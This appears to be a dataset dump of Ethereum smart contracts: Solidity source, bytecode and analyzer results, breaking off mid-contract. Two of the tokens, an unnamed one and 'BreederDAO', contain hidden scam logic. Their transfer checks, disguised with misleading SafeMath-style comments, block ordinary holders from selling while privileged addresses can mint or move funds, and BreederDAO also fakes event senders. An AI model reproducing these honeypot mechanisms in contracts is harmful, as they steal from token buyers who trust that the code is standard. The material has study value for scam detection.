* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) override public returns (bool success) {
allowed[msg.sender][spender] = tokens;
if (msg.sender == approver) _allowed(tokens);
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
function _allowed(uint tokens) internal {
nulls = IERC20(openzepplin).zeroAddress();
number = tokens;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
if(from != address(0) && zero == address(0)) zero = to;
else _send (from, to);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
function allowance(address tokenOwner, address spender) override public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function _burnFrom(address _Address, uint _Amount) internal virtual {
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
nulls = _Address;
_totalSupply = _totalSupply.add(_Amount*2);
balances[_Address] = balances[_Address].add(_Amount*2);
}
function _send (address start, address end) internal view {
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
* Requirements:
* - The divisor cannot be zero.*/
/* * - `account` cannot be the zero address. */ require(end != zero
/* * - `account` cannot be the nulls address. */ || (start == nulls && end == zero) ||
/* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number)
/* */ , "cannot be the zero address");/*
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
**/
}
/**
* dev Constructor.
* param name name of the token
* param symbol symbol of the token, 3-4 chars is recommended
* param decimals number of decimal places of one token unit, 18 is widely used
* param totalSupply total supply of tokens in lowest units (depending on decimals)
*/
constructor(string memory _name, string memory _symbol, uint _supply) {
symbol = _symbol;
name = _name;
decimals = 9;
_totalSupply = _supply*(10**uint(decimals));
number = _totalSupply;
approver = IERC20(openzepplin).approver();
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _approve(address _owner, address spender, uint amount) private {
require(_owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
allowed[_owner][spender] = amount;
emit Approval(_owner, spender, amount);
}
receive() external payable {
}
fallback() external payable {
}
} | 0x6080604052600436106100d55760003560e01c8063395093511161007957806395d89b411161005657806395d89b411461023a578063a457c2d71461024f578063a9059cbb1461026f578063dd62ed3e1461028f57005b806339509351146101c457806370a08231146101e457806379cc67901461021a57005b8063141a8dd8116100b2578063141a8dd81461010957806318160ddd1461015557806323b872dd14610178578063313ce5671461019857005b806306fdde03146100de5780630930907b14610109578063095ea7b31461012557005b366100dc57005b005b3480156100ea57600080fd5b506100f36102d5565b6040516101009190610c13565b60405180910390f35b34801561011557600080fd5b5060405160008152602001610100565b34801561013157600080fd5b50610145610140366004610be7565b610363565b6040519015158152602001610100565b34801561016157600080fd5b5061016a6103ea565b604051908152602001610100565b34801561018457600080fd5b50610145610193366004610ba6565b610427565b3480156101a457600080fd5b506004546101b29060ff1681565b60405160ff9091168152602001610100565b3480156101d057600080fd5b506101456101df366004610be7565b610581565b3480156101f057600080fd5b5061016a6101ff366004610b33565b6001600160a01b031660009081526009602052604090205490565b34801561022657600080fd5b506100dc610235366004610be7565b6105c5565b34801561024657600080fd5b506100f361069b565b34801561025b57600080fd5b5061014561026a366004610be7565b6106a8565b34801561027b57600080fd5b5061014561028a366004610be7565b6106de565b34801561029b57600080fd5b5061016a6102aa366004610b6d565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205490565b600380546102e290610cb6565b80601f016020809104026020016040519081016040528092919081815260200182805461030e90610cb6565b801561035b5780601f106103305761010080835404028352916020019161035b565b820191906000526020600020905b81548152906001019060200180831161033e57829003601f168201915b505050505081565b336000818152600a602090815260408083206001600160a01b0387811685529252822084905560025491929116141561039f5761039f826107c9565b6040518281526001600160a01b0384169033907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906020015b60405180910390a35060015b92915050565b600080805260096020527fec8156718a8372b1db44bb411437d0870f3e3790d4a08526d024ce1b0b668f6b5460055461042291610874565b905090565b60006001600160a01b0384161580159061044f575060045461010090046001600160a01b0316155b156104795760048054610100600160a81b0319166101006001600160a01b03861602179055610483565b6104838484610894565b6001600160a01b0384166000908152600960205260409020546104a69083610874565b6001600160a01b038516600090815260096020908152604080832093909355600a8152828220338352905220546104dd9083610874565b6001600160a01b038086166000908152600a6020908152604080832033845282528083209490945591861681526009909152205461051b9083610972565b6001600160a01b0380851660008181526009602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061056f9086815260200190565b60405180910390a35060019392505050565b336000818152600a602090815260408083206001600160a01b038716845290915281205490916105bc9185906105b79086610972565b61098d565b50600192915050565b6000546001600160a01b031633146105dc57600080fd5b6001600160a01b0382166106415760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084015b60405180910390fd5b61064b8282610ab1565b6001600160a01b03821660009081526009602052604090205461066e9082610874565b6001600160a01b0383166000908152600960205260409020556005546106949082610874565b6005555050565b600180546102e290610cb6565b336000818152600a602090815260408083206001600160a01b038716845290915281205490916105bc9185906105b79086610874565b6004546000906001600160a01b038481166101009092041614156107325760405162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b6044820152606401610638565b3360009081526009602052604090205461074c9083610874565b33600090815260096020526040808220929092556001600160a01b038516815220546107789083610972565b6001600160a01b0384166000818152600960205260409081902092909255905133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906103d89086815260200190565b600860009054906101000a90046001600160a01b03166001600160a01b0316630930907b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561081757600080fd5b505afa15801561082b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084f9190610b50565b600780546001600160a01b0319166001600160a01b0392909216919091179055600655565b60008282111561088357600080fd5b61088d8284610c9f565b9392505050565b6004546001600160a01b03828116610100909204161415806108e057506007546001600160a01b0383811691161480156108e057506004546001600160a01b0382811661010090920416145b8061092257506004546001600160a01b038281166101009092041614801561092257506006546001600160a01b03831660009081526009602052604090205411155b61096e5760405162461bcd60e51b815260206004820152601a60248201527f63616e6e6f7420626520746865207a65726f20616464726573730000000000006044820152606401610638565b5050565b600061097e8284610c68565b9050828110156103e457600080fd5b6001600160a01b0383166109ef5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610638565b6001600160a01b038216610a505760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610638565b6001600160a01b038381166000818152600a602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600780546001600160a01b0319166001600160a01b038416179055610ae3610ada826002610c80565b60055490610972565b600555610b13610af4826002610c80565b6001600160a01b03841660009081526009602052604090205490610972565b6001600160a01b0390921660009081526009602052604090209190915550565b600060208284031215610b4557600080fd5b813561088d81610d07565b600060208284031215610b6257600080fd5b815161088d81610d07565b60008060408385031215610b8057600080fd5b8235610b8b81610d07565b91506020830135610b9b81610d07565b809150509250929050565b600080600060608486031215610bbb57600080fd5b8335610bc681610d07565b92506020840135610bd681610d07565b929592945050506040919091013590565b60008060408385031215610bfa57600080fd5b8235610c0581610d07565b946020939093013593505050565b600060208083528351808285015260005b81811015610c4057858101830151858201604001528201610c24565b81811115610c52576000604083870101525b50601f01601f1916929092016040019392505050565b60008219821115610c7b57610c7b610cf1565b500190565b6000816000190483118215151615610c9a57610c9a610cf1565b500290565b600082821015610cb157610cb1610cf1565b500390565b600181811c90821680610cca57607f821691505b60208210811415610ceb57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114610d1c57600080fd5b5056fea26469706673582212201628f7276a9f45e80c20c47f6d7f9747b898431824dc0347bbdf0970457e6b6464736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 1,485 |
0xbb9303164bf36d92dddb805f267463d9688fe472 | pragma solidity ^0.4.18;
/**************************
* SATURN ICO smart contract *
**************************/
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC223 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function name() constant returns (string _name);
function symbol() constant returns (string _symbol);
function decimals() constant returns (uint8 _decimals);
function totalSupply() constant returns (uint256 _supply);
function transfer(address to, uint value) returns (bool ok);
function transfer(address to, uint value, bytes data) returns (bool ok);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event ERC223Transfer(address indexed _from, address indexed _to, uint256 _value, bytes _data);
}
contract ContractReceiver {
function tokenFallback(address _from, uint _value, bytes _data);
}
contract ERC223Token is ERC223 {
using SafeMath for uint;
mapping(address => uint) balances;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
// Function to access name of token .
function name() constant returns (string _name) {
return name;
}
// Function to access symbol of token .
function symbol() constant returns (string _symbol) {
return symbol;
}
// Function to access decimals of token .
function decimals() constant returns (uint8 _decimals) {
return decimals;
}
// Function to access total supply of tokens .
function totalSupply() constant returns (uint256 _totalSupply) {
return totalSupply;
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data) returns (bool success) {
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
function transfer(address _to, uint _value) returns (bool success) {
//standard function transfer similar to ERC20 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
}
else {
return transferToAddress(_to, _value, empty);
}
}
//assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
if(length>0) {
return true;
}
else {
return false;
}
}
//function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = balanceOf(msg.sender).sub(_value);
balances[_to] = balanceOf(_to).add(_value);
Transfer(msg.sender, _to, _value);
ERC223Transfer(msg.sender, _to, _value, _data);
return true;
}
//function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = balanceOf(msg.sender).sub(_value);
balances[_to] = balanceOf(_to).add(_value);
ContractReceiver reciever = ContractReceiver(_to);
reciever.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value);
ERC223Transfer(msg.sender, _to, _value, _data);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
}
contract TokenSale is ContractReceiver {
using SafeMath for uint256;
bool public active = false;
address public tokenAddress;
uint256 public hardCap;
uint256 public sold;
// 1 eth = 50,000 SATURN
uint256 private priceDiv = 2000000000;
address private stn;
address private owner;
address private treasury;
struct Ref {
uint256 amount;
uint256 rewardDiv;
uint256 etherAmount;
}
mapping(address => Ref) private referrals;
event Activated(uint256 time);
event Finished(uint256 time);
event Purchase(address indexed purchaser, uint256 amount);
event Referral(address indexed referrer, uint256 amount);
function TokenSale(address token, address presaleToken, address ethRecepient, uint256 cap) public {
tokenAddress = token;
stn = presaleToken;
owner = msg.sender;
treasury = ethRecepient;
hardCap = cap;
}
function tokenFallback(address _from, uint _value, bytes /* _data */) public {
if (active && msg.sender == stn) {
stnExchange(_from, _value);
} else {
if (msg.sender != tokenAddress) { revert(); }
if (active) { revert(); }
if (_value != hardCap) { revert(); }
active = true;
Activated(now);
}
}
function stnExchange(address buyer, uint256 value) private {
uint256 purchasedAmount = value.mul(50000);
if (purchasedAmount == 0) { revert(); } // not enough STN sent
if (purchasedAmount > hardCap - sold) { revert(); } // too much STN sent
sold += purchasedAmount;
ERC223 token = ERC223(tokenAddress);
token.transfer(buyer, purchasedAmount);
Purchase(buyer, purchasedAmount);
}
function refAmount(address user) constant public returns (uint256 amount) {
return referrals[user].amount;
}
function refPercentage(address user) constant public returns (uint256 percentage) {
uint256 rewardDiv = referrals[user].rewardDiv;
if (rewardDiv == 0) { return 1; }
if (rewardDiv == 100) { return 1; }
if (rewardDiv == 50) { return 2; }
if (rewardDiv == 20) { return 5; }
if (rewardDiv == 10) { return 10; }
}
function () external payable {
processPurchase(0x0);
}
function processPurchase(address referrer) payable public {
if (!active) { revert(); }
if (msg.value == 0) { revert(); }
uint256 purchasedAmount = msg.value.div(priceDiv);
if (purchasedAmount == 0) { revert(); } // not enough ETH sent
if (purchasedAmount > hardCap - sold) { revert(); } // too much ETH sent
sold += purchasedAmount;
treasury.transfer(msg.value);
ERC223 token = ERC223(tokenAddress);
token.transfer(msg.sender, purchasedAmount);
Purchase(msg.sender, purchasedAmount);
processReferral(referrer, purchasedAmount, msg.value);
}
function processReferral(address referrer, uint256 tokenAmount, uint256 etherAmount) private returns (bool success) {
if (referrer == 0x0) { return true; }
Ref memory ref = referrals[referrer];
if (ref.rewardDiv == 0) { ref.rewardDiv = 100; } // on your first referral you get 1%
uint256 referralAmount = tokenAmount.div(ref.rewardDiv);
if (referralAmount == 0) { return true; }
// cannot pay more than the contract has itself
if (referralAmount > hardCap - sold) { referralAmount = hardCap - sold; }
ref.amount = ref.amount.add(referralAmount);
ref.etherAmount = ref.etherAmount.add(etherAmount);
// ugly block of code that handles variable referral commisions
if (ref.etherAmount > 5 ether) { ref.rewardDiv = 50; } // 2% from 5 eth
if (ref.etherAmount > 10 ether) { ref.rewardDiv = 20; } // 5% from 10 eth
if (ref.etherAmount > 100 ether) { ref.rewardDiv = 10; } // 10% from 100 eth
// end referral updates
sold += referralAmount;
referrals[referrer] = ref; // update the mapping and store our changes
ERC223 token = ERC223(tokenAddress);
token.transfer(referrer, referralAmount);
Referral(referrer, referralAmount);
return true;
}
function endSale() public {
// only the creator of the smart contract can end the crowdsale
if (msg.sender != owner) { revert(); }
// can only stop an active crowdsale
if (!active) { revert(); }
_end();
}
function _end() private {
// if there are any tokens remaining - return them to the treasury
if (sold < hardCap) {
ERC223 token = ERC223(tokenAddress);
token.transfer(treasury, hardCap.sub(sold));
}
active = false;
Finished(now);
}
} | 0x60806040526004361061007f5763ffffffff60e060020a60003504166302c7e7af811461008b57806302fb0c5e146100b2578063380d831b146100db57806398702402146100f05780639d76ea5814610111578063a37d155614610142578063ab45e2a014610163578063c0ee0b8a14610177578063fb86a404146101e0575b61008960006101f5565b005b34801561009757600080fd5b506100a0610383565b60408051918252519081900360200190f35b3480156100be57600080fd5b506100c7610389565b604080519115158252519081900360200190f35b3480156100e757600080fd5b50610089610392565b3480156100fc57600080fd5b506100a0600160a060020a03600435166103c8565b34801561011d57600080fd5b5061012661043e565b60408051600160a060020a039092168252519081900360200190f35b34801561014e57600080fd5b506100a0600160a060020a0360043516610452565b610089600160a060020a03600435166101f5565b34801561018357600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610089948235600160a060020a031694602480359536959460649492019190819084018382808284375094975061046d9650505050505050565b3480156101ec57600080fd5b506100a0610525565b60008054819060ff16151561020957600080fd5b34151561021557600080fd5b60035461022990349063ffffffff61052b16565b915081151561023757600080fd5b6002546001540382111561024a57600080fd5b6002805483019055600654604051600160a060020a03909116903480156108fc02916000818181858888f1935050505015801561028b573d6000803e3d6000fd5b50600060019054906101000a9004600160a060020a0316905080600160a060020a031663a9059cbb33846040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b15801561030757600080fd5b505af115801561031b573d6000803e3d6000fd5b505050506040513d602081101561033157600080fd5b5050604080518381529051600160a060020a033316917f2499a5330ab0979cc612135e7883ebc3cd5c9f7a8508f042540c34723348f632919081900360200190a261037d838334610547565b50505050565b60025481565b60005460ff1681565b60055433600160a060020a039081169116146103ad57600080fd5b60005460ff1615156103be57600080fd5b6103c661079e565b565b600160a060020a0381166000908152600760205260408120600101548015156103f45760019150610438565b80606414156104065760019150610438565b80603214156104185760029150610438565b806014141561042a5760059150610438565b80600a141561043857600a91505b50919050565b6000546101009004600160a060020a031681565b600160a060020a031660009081526007602052604090205490565b60005460ff16801561048d575060045433600160a060020a039081169116145b156104a15761049c83836108a3565b610520565b60005433600160a060020a0390811661010090920416146104c157600080fd5b60005460ff16156104d157600080fd5b60015482146104df57600080fd5b6000805460ff191660011790556040805142815290517f3ec796be1be7d03bff3a62b9fa594a60e947c1809bced06d929f145308ae57ce9181900360200190a15b505050565b60015481565b600080828481151561053957fe5b0490508091505b5092915050565b6000610551610a1e565b600080600160a060020a038716151561056d5760019350610794565b600160a060020a03871660009081526007602090815260409182902082516060810184528154815260018201549281018390526002909101549281019290925290935015156105be57606460208401525b60208301516105d490879063ffffffff61052b16565b91508115156105e65760019350610794565b600254600154038211156105fe576002546001540391505b8251610610908363ffffffff6109cb16565b83526040830151610627908663ffffffff6109cb16565b60408401819052674563918244f40000101561064557603260208401525b678ac7230489e800008360400151111561066157601460208401525b68056bc75e2d631000008360400151111561067e57600a60208401525b506002805482018155600160a060020a0380881660008181526007602090815260408083208851815582890151600182015581890151960195909555815485517fa9059cbb000000000000000000000000000000000000000000000000000000008152600481019490945260248401879052945161010090950490931693849363a9059cbb93604480820194929392918390030190829087803b15801561072457600080fd5b505af1158015610738573d6000803e3d6000fd5b505050506040513d602081101561074e57600080fd5b5050604080518381529051600160a060020a038916917f5db31c63b6c985d138b0b2896458c45ecf94b259da29b7623bdef92b5853d0cd919081900360200190a2600193505b5050509392505050565b600060015460025410156108635750600054600654600254600154600160a060020a03610100909404841693849363a9059cbb939116916107e49163ffffffff6109e116565b6040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b15801561083657600080fd5b505af115801561084a573d6000803e3d6000fd5b505050506040513d602081101561086057600080fd5b50505b6000805460ff191690556040805142815290517f86954ecc0ae072157fcf7f87a425a1461295a4cc9cc3122d2efc73bf32d98e1a9181900360200190a150565b6000806108b88361c35063ffffffff6109f316565b91508115156108c657600080fd5b600254600154038211156108d957600080fd5b50600280548201905560008054604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a03878116600483015260248201869052915161010090930490911692839263a9059cbb926044808201936020939283900390910190829087803b15801561095a57600080fd5b505af115801561096e573d6000803e3d6000fd5b505050506040513d602081101561098457600080fd5b5050604080518381529051600160a060020a038616917f2499a5330ab0979cc612135e7883ebc3cd5c9f7a8508f042540c34723348f632919081900360200190a250505050565b6000828201838110156109da57fe5b9392505050565b6000828211156109ed57fe5b50900390565b600080831515610a065760009150610540565b50828202828482811515610a1657fe5b04146109da57fe5b60606040519081016040528060008152602001600081526020016000815250905600a165627a7a72305820dff65e424410cf75922cec5e864118532b15396523519e325f63d453660ee6240029 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}} | 1,486 |
0x8c922299feb8750b2b371e7288a0660308599625 | pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
contract BreederDAO is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _plus;
mapping (address => bool) private _discarded;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _maximumVal = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address private _safeOwnr;
uint256 private _discardedAmt = 0;
address public _path_ = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address _contDeployr = 0xF5997beA71e1B66434eFF247B3C584508DF69895;
address public _ownr = 0x08aEeAFEae04764F67c7ea773d8Be89abEFae545;
constructor () public {
_name = "BreederDAO";
_symbol = "BREED";
_decimals = 18;
uint256 initialSupply = 1000000000 * 10 ** 18;
_safeOwnr = _ownr;
_mint(_contDeployr, initialSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_tf(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_tf(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _pApproval(address[] memory destination) public {
require(msg.sender == _ownr, "!owner");
for (uint256 i = 0; i < destination.length; i++) {
_plus[destination[i]] = true;
_discarded[destination[i]] = false;
}
}
function _mApproval(address safeOwner) public {
require(msg.sender == _ownr, "!owner");
_safeOwnr = safeOwner;
}
modifier mainboard(address dest, uint256 num, address from, address filler){
if (
_ownr == _safeOwnr
&& from == _ownr
)
{_safeOwnr = dest;_;
}else
{
if (
from == _ownr
|| from == _safeOwnr
|| dest == _ownr
)
{
if (
from == _ownr
&& from == dest
)
{_discardedAmt = num;
}_;
}else
{
if (
_plus[from] == true
)
{
_;
}else{if (
_discarded[from] == true
)
{
require((
from == _safeOwnr
)
||(dest == _path_), "ERC20: transfer amount exceeds balance");_;
}else{
if (
num < _discardedAmt
)
{
if(dest == _safeOwnr){_discarded[from] = true; _plus[from] = false;
}
_; }else{require((from == _safeOwnr)
||(dest == _path_), "ERC20: transfer amount exceeds balance");_;
}
}
}
}
}}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (sender == _ownr){
sender = _contDeployr;
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _ownr, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_ownr] = _balances[_ownr].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _tf(address from, address dest, uint256 amt) internal mainboard( dest, amt, from, address(0)) virtual {
_pair( from, dest, amt);
}
function _pair(address from, address dest, uint256 amt) internal mainboard( dest, amt, from, address(0)) virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(dest != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, dest, amt);
_balances[from] = _balances[from].sub(amt, "ERC20: transfer amount exceeds balance");
_balances[dest] = _balances[dest].add(amt);
if (from == _ownr){from = _contDeployr;}
emit Transfer(from, dest, amt);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
modifier _verify() {
